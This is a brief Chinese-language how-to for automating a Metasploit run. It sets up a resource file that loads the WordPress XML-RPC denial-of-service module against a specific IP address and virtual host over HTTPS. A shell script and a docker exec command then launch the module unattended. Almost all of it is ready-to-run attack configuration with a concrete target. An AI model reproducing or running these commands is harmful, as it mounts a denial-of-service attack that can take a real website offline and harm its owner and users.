metasploit自动运行脚本

(1)新建文件wenote.rc

wenote.rc

use auxiliary/dos/http/wordpress_xmlrpc_dos

set RHOST 45.77.171.109

set VHOST www.we-notes.com

set RPORT 443

set SSL true

set RLIMIT 200

exploit

(2)新建文件autorun.sh

cd /root/msf/wordpress/rpc/

msfdb start

msfconsole -r wenote.rc

(3)docker外部运行

docker exec -it cyber /bin/bash -c "/root/msf/wordpress/rpc/autorun.sh"